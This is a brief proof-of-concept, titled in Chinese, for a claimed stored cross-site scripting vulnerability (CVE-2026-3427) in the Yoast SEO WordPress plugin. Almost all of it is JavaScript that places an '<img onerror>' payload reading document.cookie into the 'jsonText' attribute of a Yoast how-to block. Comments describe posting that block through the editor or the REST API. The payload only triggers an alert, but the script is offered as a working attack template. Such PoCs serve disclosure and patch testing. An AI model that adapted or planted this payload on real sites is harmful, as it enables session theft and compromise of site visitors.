CVE-2026-3427: Yoast SEO插件存储型XSS漏洞

<!-- PoC for CVE-2026-3427 Description: Inject payload into the 'jsonText' attribute of a Yoast SEO block. --> <script> // Step 1: Create a malicious payload const payload = '<img src=x onerror=alert(document.cookie)>'; // Step 2: Simulate the block structure that would be sent to the WordPress REST API // In a real attack, this is done via the Block Editor or direct API call const maliciousBlock = { "blockName": "yoast/how-to-block", "attrs": { "jsonText": payload // Injecting into the vulnerable attribute }, "innerHTML": "", "innerBlocks": [], "innerContent": [] }; console.log("Malicious Block JSON to be posted:", JSON.stringify(maliciousBlock)); // When this block is rendered on the frontend, the XSS triggers. </script>